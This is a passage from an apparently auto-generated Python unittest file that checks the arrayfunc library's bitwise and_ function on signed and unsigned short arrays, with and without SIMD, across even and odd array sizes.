for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code h.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_h(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('h', xdata)
self.data2 = array.array('h', ydata)
self.dataout = array.array('h', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code h.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_H(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('H', xdata)
self.data2 = array.array('H', ydata)
self.dataout = array.array('H', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code H.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_H(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('H', xdata)
self.data2 = array.array('H', ydata)
self.dataout = array.array('H', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code H.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_H(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('H', xdata)
self.data2 = array.array('H', ydata)
self.dataout = array.array('H', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code H.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_H(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
